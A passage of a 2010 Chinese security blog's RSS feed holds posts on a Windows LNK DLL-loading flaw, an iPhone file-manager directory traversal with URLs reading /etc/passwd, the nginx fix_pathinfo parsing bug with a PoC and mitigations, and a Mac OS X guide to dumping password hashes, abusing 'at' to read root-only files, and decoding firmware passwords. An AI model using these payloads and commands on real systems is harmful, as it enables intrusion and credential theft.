ebx</span></div><div>7D6386D3<span>&nbsp;&nbsp;&nbsp; C785 D0FDFFFF 7&gt;mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-230], 7B</span></div><div>7D6386DD<span>&nbsp;&nbsp;&nbsp; 8D85 BCFDFFFF&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, dword ptr [ebp-244]</span></div><div>7D6386E3<span>&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span></div><div>7D6386E4<span>&nbsp;&nbsp; &nbsp;FF15 6C15597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;KERNEL32.CreateActC&gt;; kernel32.CreateActCtxW</span></div><div>7D6386EA<span>&nbsp;&nbsp;&nbsp; 83F8 FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; eax, -1</span></div><div>7D6386ED<span>&nbsp;&nbsp;&nbsp; 8985 F0FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-210], eax</span></div><div>7D6386F3<span>&nbsp;&nbsp;&nbsp; 75 06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short 7D6386FB</span></div><div>7D6386F5<span>&nbsp;&nbsp;&nbsp; 89B5 F0FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-210], esi</span></div><div>7D6386FB<span>&nbsp;&nbsp;&nbsp; 8B3D 8C15597D&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edi, dword ptr [&lt;&amp;KERNEL32.Activ&gt;; kernel32.ActivateActCtx</span></div><div>7D638701<span>&nbsp;&nbsp;&nbsp; 8D85 ECFDFFFF&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, dword ptr [ebp-214]</span></div><div>7D638707<span>&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span></div><div>7D638708<span>&nbsp;&nbsp;&nbsp; FFB5 F0FDFFFF&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; dword ptr [ebp-210]</span></div><div>7D63870E<span>&nbsp;&nbsp;&nbsp; FFD7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; edi</span></div><div>7D638710<span>&nbsp;&nbsp;&nbsp; 33F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, esi</span></div><div>7D638712<span>&nbsp;&nbsp;&nbsp; 46&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc&nbsp;&nbsp;&nbsp;&nbsp; esi</span></div><div>7D638713<span>&nbsp;&nbsp;&nbsp; 56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; esi</span></div><div>7D638714<span>&nbsp;&nbsp;&nbsp; 56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; esi</span></div><div>7D638715<span>&nbsp;&nbsp; &nbsp;56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; esi</span></div><div>7D638716<span>&nbsp;&nbsp;&nbsp; 53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebx</span></div><div>7D638717<span>&nbsp;&nbsp;&nbsp; FF15 00F0787D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [7D78F000]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; apphelp.ApphelpCheckExe</span></div><div>7D63871D<span>&nbsp;&nbsp;&nbsp; 85C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp; eax, eax</span></div><div>7D63871F<span>&nbsp;&nbsp;&nbsp; 75 08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short 7D638729</span></div><div>7D638721<span>&nbsp;&nbsp;&nbsp; 2185 E0FDFFFF&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-220], eax</span></div><div>7D638727<span>&nbsp;&nbsp;&nbsp; EB 0D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp; short 7D638736</span></div><div>7D638729<span>&nbsp;&nbsp;&nbsp; 53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ;</span>加载DLL</div><div>7D63872A<span>&nbsp;&nbsp;&nbsp; FF15 A015597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;KERNEL32.LoadLibrar&gt;; kernel32.LoadLibraryW</span></div><div>7D638730<span>&nbsp;&nbsp;&nbsp; 8985 E0FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-220], eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; dll.01C00000</span></div><div>&nbsp;</div><div><span style="font-size: small"><span style=""><b>利用</b></span></span></div><div><span>&nbsp;&nbsp;&nbsp; </span>据说病毒样本是通过这个漏洞利用U盘来传播的，不过我发现加载DLL必须是绝对路径，用相对路径是不行的，那病毒就必须要知道U盘的盘符才能加载U盘上的DLL。不知道这个问题是怎么解决的呢？我没有仔细研究lnk文件格式，不知道是不是可以放多个目标地址。我能想到的就只有一个很笨的办法，感染的时候在U盘上创建20多个.lnk文件，一个盘符对应一个，这样总能覆盖到U盘所在盘符。另外利用共享目录来传播也存在同样问题。</div><div><span>&nbsp;&nbsp;&nbsp; </span>其实我觉得这个也不算是一个真正意义上的漏洞，因为既然要解析出图标，加载对应的DLL文件也是说得过去的，凑巧被病毒利用上了而已。</div><div>&nbsp;</div><div><span style="font-size: small"><span style=""><b>参考</b></span></span></div><div>LNK Shortcut File Code Execution POC<a href="http://www.exploit-db.com/exploits/14403/">http://www.exploit-db.com/exploits/14403/</a></div><div>《windows平台.lnk文件感染技术研究》<a href="http://bbs.pediy.com/showthread.php?t=110426">http://bbs.pediy.com/showthread.php?t=110426</a></div><div>《枚举Windows系统中的外壳名字空间》<a href="http://blog.vckbase.com/rovershen/archive/2004/11/03/1227.aspx">http://blog.vckbase.com/rovershen/archive/2004/11/03/1227.aspx</a></div><p>&nbsp;</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=304</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=304&amp;key=6b2246d4</trackback:ping></item><item><title>iphone/ipod discover文件管理器web服务目录遍历漏洞</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Sun, 20 Jun 2010 14:49:04 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p>from:Xeye Team<br /><br />discover是iphone/ipod touch平台上流行的文件管理器，可以阅读pdf/office/txt等格式的文件，</p><p>并通过wifi分享这些文件，详细的介绍看这：<a target="_blank" href="http://itunes.apple.com/us/app/discover/id292416855?mt=8"><font color="#4e819c">http://itunes.apple.com/us/app/discover/id292416855?mt=8#</font></a></p><p><strong>漏洞分析</strong></p><p>当wifi环境下的iphone/ipod touch用户打开discover时，会自动开启远程web访问，web界面是flash制作的文件管理界面（如下图），discover有两种目录：Private与Public，在&ldquo;设置&rdquo;--&gt;&ldquo;文件安全设置&rdquo;中可以设置web访问密码（认证类型为HTTP Digest），不过仅保护Private目录。</p><p><img height="640" width="1024" alt="" src="http://smxiaoqiang.cn/upload/discover.jpg" /></p><p>由于discover web服务的一些api接口没有严格认证用户访问并且存在目录穿越漏洞，导致攻击者利用这些web服务api可以访问iphone/ipod（mobile用户权限）上的任意目录与文件，并且可以删除mobile权限可删除的文件。<br /><span style="color: #ffffff">文章转载自：神秘小强'S blog </span><span style="color: #ffffff">http://www.smxiaoqiang.cn/</span></p><p><strong>漏洞利用</strong></p><p>1、首先我们来列目录：<br />http://192.168.1.9:8888/list?sort=%27&amp;format=xml&amp;dir=/Public/../../../../../../../etc/&amp;order=asc</p><p><img alt="" src="http://smxiaoqiang.cn/upload/discover_1.jpg" /></p><p>2、读文件内容，虽然我知道我们的权限仅仅是mobile，但是读的权限还是很广的：<br />http://192.168.1.9:8888/web?path=history/../../../../../../../../etc/passwd</p><p><img alt="" src="http://smxiaoqiang.cn/upload/discover_2.jpg" /></p><p>还有一个delete api: http://192.168.1.9:8888/delete?path=/Private/&amp;format=none</p><p><strong>漏洞厂商</strong></p><p>http://www.mappn.com/community/</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //神秘小强's blog</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=302</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=302&amp;key=6c40fb6b</trackback:ping></item><item><title>中国银行ATM</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Mon, 07 Jun 2010 12:50:28 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p><img alt="" src="http://www.smxiaoqiang.cn/upload/atm.jpg" /></p><p>&nbsp;</p><p>看右下角都安装了啥。</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=301</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=301&amp;key=7b06c3f7</trackback:ping></item><item><title>nginx文件类型错误解析漏洞</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Fri, 21 May 2010 09:08:23 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p>漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。</p><p><br />漏洞分析：nginx默认以cgi的方式支持php的运行，譬如在配置文件当中可以以</p><p><span style="color: #ffffff"><code>www.smxiaoqiang.cn</code></span><code><br />location ~ \.php$ {<br />root html;<br />fastcgi_pass 127.0.0.1:9000;<br />fastcgi_index index.php;<br />fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;<br />include fastcgi_params;<br />}<br /></code><br />的方式支持对php的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。<br />那么假设存在一个http://www.80sec.com/80sec.jpg，我们以如下的方式去访问<br /><br /><font face="宋体, MS Song">将会得到一个URI<br /></font><code><br />/80sec.jpg/80sec.php<br /></code><br /><font face="宋体, MS Song">经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为<br /></font><code><br />/scripts/80sec.jpg/80sec.php<br /></code><br /><font face="宋体, MS Song">而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为<br /></font><code><br />/scripts/80sec.jpg<br /></code><br /><font face="宋体, MS Song">所以不存在此问题。<br />后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为<br /></font><code><br />/scripts/80sec.jpg和80sec.php<br /></code><br /><font face="宋体, MS Song">最后，以/scripts/80sec.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。</font></p><p>http://www.80sec.com/80sec.jpg/80sec.php</p><p>&nbsp;</p><p>POC： 访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/80sec.php，这个时候你可以看到如下的区别：</p><p>访问http://www.80sec.com/robots.txt<br /><code><br />HTTP/1.1 200 OK<br />Server: nginx/0.6.32<br />Date: Thu, 20 May 2010 10:05:30 GMT<br />Content-Type: text/plain<br />Content-Length: 18<br />Last-Modified: Thu, 20 May 2010 06:26:34 GMT<br />Connection: keep-alive<br />Keep-Alive: timeout=20<br />Accept-Ranges: bytes<br /></code><br />访问访问http://www.80sec.com/robots.txt/80sec.php<br /><code><br />HTTP/1.1 200 OK<br />Server: nginx/0.6.32<br />Date: Thu, 20 May 2010 10:06:49 GMT<br />Content-Type: text/html<br />Transfer-Encoding: chunked<br />Connection: keep-alive<br />Keep-Alive: timeout=20<br />X-Powered-By: PHP/5.2.6<br /></code><br />其中的Content-Type的变化说明了后端负责解析的变化，该站点就可能存在漏洞。</p><p>漏洞厂商：http://www.nginx.org</p><p>解决方案：</p><p>我们已经尝试联系官方，但是此前你可以通过以下的方式来减少损失<br /><code><br />关闭cgi.fix_pathinfo为0<br /></code><br />或者<br /><code><br />if ( $fastcgi_script_name ~ \..*\/.*php ) {<br />return 403;<br />}<br /></code></p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=300</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=300&amp;key=11254841</trackback:ping></item><item><title>入侵本地Mac OS X方针与技巧</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Thu, 06 May 2010 10:09:08 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p><font style="font-size: 12px" color="#ff0000"><font style="font-family: Verdana">Copyright (c) 2010 Czy Invicta &lt;</font><font style="font-family: Verdana">Hack01@Live!cn</font><font style="font-family: Verdana">&gt;<br />All rights reserved.</font></font></p><p><font style="font-size: 12px" color="#ff0000">本文从提升权限漏洞的一系列巧妙的方法来绕过受保护的Mac OS X。有些已经被处于底层控制，但由于它们存在着更多的认证和修补程序，我们不妨让这些提供出来，以便需要的人学习它们。虽然我不只是要利用脚本，而且之后我将解释可以做哪些事情，让你利用这些技巧能够充分地进行研究。</font></p><p><font style="font-size: 12px" color="#ff0000">- 破解用户密码<br />- 通过Root读取/usr/bin/at文件<br />- 敏感交换文件<br />- 欺骗软件更新<br />- 恢复开发固件密码<br />- 恶意启动项目的利用<br />- URL处理程序漏洞利用<br />- 尾声</font></p><p><font style="font-size: 12px" color="#ff0000"><br />破解用户密码<br />~~~~~~~~~~~~~~~~</font></p><p><font style="font-size: 12px" color="#ff0000">在过去的日子里你只需执行&ldquo;nidump passwd&rdquo;，并获得所有用户密码加密的一个DES清单。还有几种方法可以恢复用户密码，Mac OS X在/etc/shadow或/etc/master密码文件中不存储密码。但是，有一种方法可以恢复所有用户的密码哈希。</font></p><p><font style="font-size: 12px" color="#ff0000">Mac OS X使用NetInfo处理用户账户。该密码哈希存储在/var/db/shadow/hash/(guid)。每个用户都有自己的哈希文件，要获得一个用户清单及其相应产生的uid(guid)，尝试：<br /><span style="color: #000000">local: user$ nireport / /users name generateduid uid | grep -v NoValue<br />admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501<br />orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502<br />test C82D45B7-6422-11D9-853D-00039367EBAE 503</span></font></p><p><font style="font-size: 12px" color="#ff0000">因此，&ldquo;admin&rdquo;用户的密码存储在/var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE.<br />现在可以作为Root只读这个文件，当然，我们也有一些窍门可以尝试，让你阅读这些文件。但是，首先要说的是你目前已拥有Root权限。<br /><span style="color: #000000">&nbsp;</span><font color="#11fe1a"><wbr></wbr><span style="color: #000000"># cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8<br />&nbsp;</span><wbr></wbr><span style="color: #000000">00039367EBAE 209C6174DA490CAEB422F3FA</span><wbr></wbr><span style="color: #000000">5A7AE634F0D412BD764FFE81</span><wbr></wbr><span style="color: #000000">AAD3B435B5<br />1404EED033E22AE348AEB566</span><wbr></wbr></font><span style="color: #000000">0FC2140AEC35850C4DA997</span></font></p><p><font style="font-size: 12px" color="#ff0000">这个巨长的字符串包含两个相同的密码哈希。第一个64个字符组成的SMB散列（这是Windows使用的文件共享，即使没有打开）这实际上是放在一起的两个32个字符的MD4散列。<br />最后40个字符组成了SHA1哈希。你一旦恢复这个文件，所有剩下的工作就是正确地格式化这个文件并通过Ripper或Lepton's Crack进行破解。</font></p><p><span style="color: #000000"><font style="font-size: 12px">SMB 哈希:<br />admin:209C6174DA490CAEB422F3FA</font></span><font style="font-size: 12px" color="#11fe1a"><wbr></wbr><span style="color: #000000">5A7AE634:F0D412BD764FFE81AAD3B435</span><wbr></wbr><span style="color: #000000">B51404EE<br />orb:6FFB224FB592476B2230862E</span><wbr></wbr><span style="color: #000000">220937DA:4B881A967FE694FBAAD3B435</span><wbr></wbr><span style="color: #000000">B51404EE<br />test:0CB6948805F797BF2A828079</span><wbr></wbr></font><span style="color: #000000"><font style="font-size: 12px">73B89537:01FC5A6BE7BC6929AAD B435B51404EE</font></span></p><p><span style="color: #000000"><font style="font-size: 12px">SHA1 哈希:<br />admin:D033E22AE348AEB5660FC214</font></span><font style="font-size: 12px" color="#11fe1a"><wbr></wbr><span style="color: #000000">0AEC35850C4DA997<br />orb:23119F5947DA61A815E7A1CC</span><wbr></wbr><span style="color: #000000">2AF9BDB8C19CAF1F<br />test:A94A8FE5CCB19BA61C4C0873</span><wbr></wbr></font><span style="color: #000000"><font style="font-size: 12px">D391E987982FBBD3</font></span></p><p><font style="font-size: 12px" color="#ff0000"><br />通过Root读取/usr/bin/at<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />这个允许你作为root身份读取/usr/bin/at并分析存在的漏洞。使用这一招，你可以阅读各种敏感文件，包括用户密码哈希、临时交换文件、.bash_history文件等。</font></p><p><font style="font-size: 12px" color="#ff0000">这将允许你读取由&ldquo;admin&rdquo;用户所执行的命令列表：<br /><span style="color: #000000">local: user$ id<br />uid=503(test) gid=503(test) groups=503(test)<br />local: user$ ls -al /users/admin/.bash_history<br />-rw------- 1 admin staff 1259 12 Apr 2010 /users/admin/. bash_history<br />local: user$ cat /users/admin/.bash_history cat: /users/admin/.bash_history:<br />Permission denied<br />local: user$ at -f /users/admin/.bash_history now+1minute<br />czy a011afa33.000 will be executed using /bin/sh<br />local: user$ cat /var/at/jobs/a011afa33.000</span></font></p><p><font style="font-size: 12px" color="#ff0000">只要你有权使用本地机器，你可以阅读所有文件的哈希值：<br /><span style="color: #000000">at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now+1minute</span></font></p><p><font style="font-size: 12px" color="#ff0000"><br />敏感的交换文件<br />~~~~~~~~~~~~~~~~<br />还有另一种方法就是，使用临时交换文件恢复密码。包括FileVault、Keychain、login和其它存储在/var/vm/各种敏感数据交换文件，这些文件很大，它需要一些聪明的Unix命令才能够提取其中有用的东西。然而，很多时候用户名和密码以纯文本方式存储。</font></p><p><font style="font-size: 12px" color="#ff0000">尝试一下你自己的机器（核实swapfile1、swap-file2等）。</font></p><p><span style="color: #000000"><font style="font-size: 12px"># strings -8 /var/vm/swapfile0 | grep -A 4 -i longname</font></span></p><p><font style="font-size: 12px" color="#ff0000">每次机器重启之后，这些交换文件将被清除。</font></p><p><font style="font-size: 12px" color="#ff0000">当然，这些文件只能由root读取。你可以使用&ldquo;at&rdquo;漏洞，将这些交换文件复制到临时位置，然后使用上面的命令来解析这些文件。</font></p><p><font style="font-size: 12px" color="#ff0000"><br />欺骗软件更新<br />~~~~~~~~~~~~~~~~<br />Mac OS X有一个方便的工具，可以对安全更新软件和软件补丁进行自动检查更新。如果你有机会获得一台机器，你可以利用这种方式进行欺骗，以为你已经安装了特定的软件更新和补丁。</font></p><p><font style="font-size: 12px" color="#ff0000">检查/Library/Receipts/目录，创建一个与其中一个更新包和软件更新相同名字的文件，以替代它。</font></p><p><font style="font-size: 12px" color="#ff0000"><br />恢复开放固件密码<br />~~~~~~~~~~~~~~~~~~~<br />许多公共计算机，特别是商业网（网吧），使用特殊的安全软件或跟踪装置以阻止你的一些活动，甚至要求你按小时支付。通常，你可以重启计算机进入开放固件并使用系统的单用户模式，要么仅仅启动到一个外部设备，例如，将Mac OS X复制并安装在你的Mp3或Mp4设备里面。不幸的是，越来越多的计算机都有了开放固件密码的保护措施，这需要你首先验证所做的这些事情。</font></p><p><font style="font-size: 12px" color="#ff0000">如果你拥有root权限访问终端，请尝试输入nvram安全密码。这应该显示出一个字符串，即开放固件密码的异十六进制编码。这不是加密的，它只是模糊处理。</font></p><p><font style="font-size: 12px">nvram security-password<br />security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de<br /></font><span style="color: #ffffff"><font style="font-size: 12px">本文转载自： http://www.smxiaoqiang.cn</font></span></p><p><font style="font-size: 12px" color="#ff0000">密歇根大学MacSIG小组编写一个C脚本，能够生成字符串作为使用开放固件的密码：<br /></font><font style="font-size: 12px" color="#ff0000">http://macosx.si.umich.edu/files/ofpwgen.c</font></p><p><font style="font-size: 12px" color="#ff0000">使用这个你应该能够通过字符串匹配的nvram security-password从而找到密码。你也可以使用下面内容作为参考：</font></p><p><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px">nvram security-password<br />a&nbsp;</font></span><font style="font-family: 宋体; font-size: 12px" color="#f0f0f0"><wbr></wbr><span style="color: #339966"> b&nbsp;</span><wbr></wbr><span style="color: #339966"> c&nbsp;</span><wbr></wbr><span style="color: #339966"> d&nbsp;</span><wbr></wbr><span style="color: #339966"> e&nbsp;</span><wbr></wbr><span style="color: #339966"> f&nbsp;</span><wbr></wbr><span style="color: #339966"> g&nbsp;</span><wbr></wbr><span style="color: #339966"> h&nbsp;</span><wbr></wbr><span style="color: #339966"> i&nbsp;</span><wbr></wbr><span style="color: #339966"> j&nbsp;</span><wbr></wbr><span style="color: #339966"> k&nbsp;</span><wbr></wbr><span style="color: #339966"> l&nbsp;</span><wbr></wbr></font><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px"> m<br />%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7</font></span></p><p><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px">n&nbsp;</font></span><font style="font-family: 宋体; font-size: 12px" color="#f0f0f0"><wbr></wbr><span style="color: #339966"> o&nbsp;</span><wbr></wbr><span style="color: #339966"> p&nbsp;</span><wbr></wbr><span style="color: #339966"> q&nbsp;</span><wbr></wbr><span style="color: #339966"> r&nbsp;</span><wbr></wbr><span style="color: #339966"> s&nbsp;</span><wbr></wbr><span style="color: #339966"> t&nbsp;</span><wbr></wbr><span style="color: #339966"> u&nbsp;</span><wbr></wbr><span style="color: #339966"> v&nbsp;</span><wbr></wbr><span style="color: #339966"> w&nbsp;</span><wbr></wbr><span style="color: #339966"> x&nbsp;</span><wbr></wbr><span style="color: #339966"> y&nbsp;</span><wbr></wbr></font><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px"> z<br />%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0</font></span></p><p><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px">A&nbsp;</font></span><font style="font-family: 宋体; font-size: 12px" color="#f0f0f0"><wbr></wbr><span style="color: #339966"> B&nbsp;</span><wbr></wbr><span style="color: #339966"> C&nbsp;</span><wbr></wbr><span style="color: #339966"> D&nbsp;</span><wbr></wbr><span style="color: #339966"> E&nbsp;</span><wbr></wbr><span style="color: #339966"> F&nbsp;</span><wbr></wbr><span style="color: #339966"> G&nbsp;</span><wbr></wbr><span style="color: #339966"> H&nbsp;</span><wbr></wbr><span style="color: #339966"> I&nbsp;</span><wbr></wbr><span style="color: #339966"> J&nbsp;</span><wbr></wbr><span style="color: #339966"> K&nbsp;</span><wbr></wbr><span style="color: #339966"> L&nbsp;</span><wbr></wbr></font><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px"> M<br />%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7</font></span></p><p><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px">N&nbsp;</font></span><font style="font-family: 宋体; font-size: 12px" color="#f0f0f0"><wbr></wbr><span style="color: #339966"> O&nbsp;</span><wbr></wbr><span style="color: #339966"> P&nbsp;</span><wbr></wbr><span style="color: #339966"> Q&nbsp;</span><wbr></wbr><span style="color: #339966"> R&nbsp;</span><wbr></wbr><span style="color: #339966"> S&nbsp;</span><wbr></wbr><span style="color: #339966"> T&nbsp;</span><wbr></wbr><span style="color: #339966"> U&nbsp;</span><wbr></wbr><span style="color: #339966"> V&nbsp;</span><wbr></wbr><span style="color: #339966"> W&nbsp;</span><wbr></wbr><span style="color: #339966"> X&nbsp;</span><wbr></wbr><span style="color: #339966"> Y&nbsp;</span><wbr></wbr><span style="color: #339966"> Z&nbsp;</span><wbr></wbr></font><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px"><br />%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0</font></span></p><p><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px">1&nbsp;</font></span><font style="font-family: 宋体; font-size: 12px" color="#f0f0f0"><wbr></wbr><span style="color: #339966"> 2&nbsp;</span><wbr></wbr><span style="color: #339966"> 3&nbsp;</span><wbr></wbr><span style="color: #339966"> 4&nbsp;</span><wbr></wbr><span style="color: #339966"> 5&nbsp;</span><wbr></wbr><span style="color: #339966"> 6&nbsp;</span><wbr></wbr><span style="color: #339966"> 7&nbsp;</span><wbr></wbr><span style="color: #339966"> 8&nbsp;</span><wbr></wbr><span style="color: #339966"> 9&nbsp;</span><wbr></wbr><span style="color: #339966"> 0&nbsp;</span><wbr></wbr><span style="color: #339966"> !&nbsp;</span><wbr></wbr><span style="color: #339966"> @&nbsp;</span><wbr></wbr></font><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px"> #<br />%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89</font></span></p><p><span style="color: #339966"><font style="font-family: 宋体; font-size: 12px">$&nbsp;</font></span><font style="font-family: 宋体; font-size: 12px" color="#f0f0f0"><wbr></wbr><span style="color: #339966"> 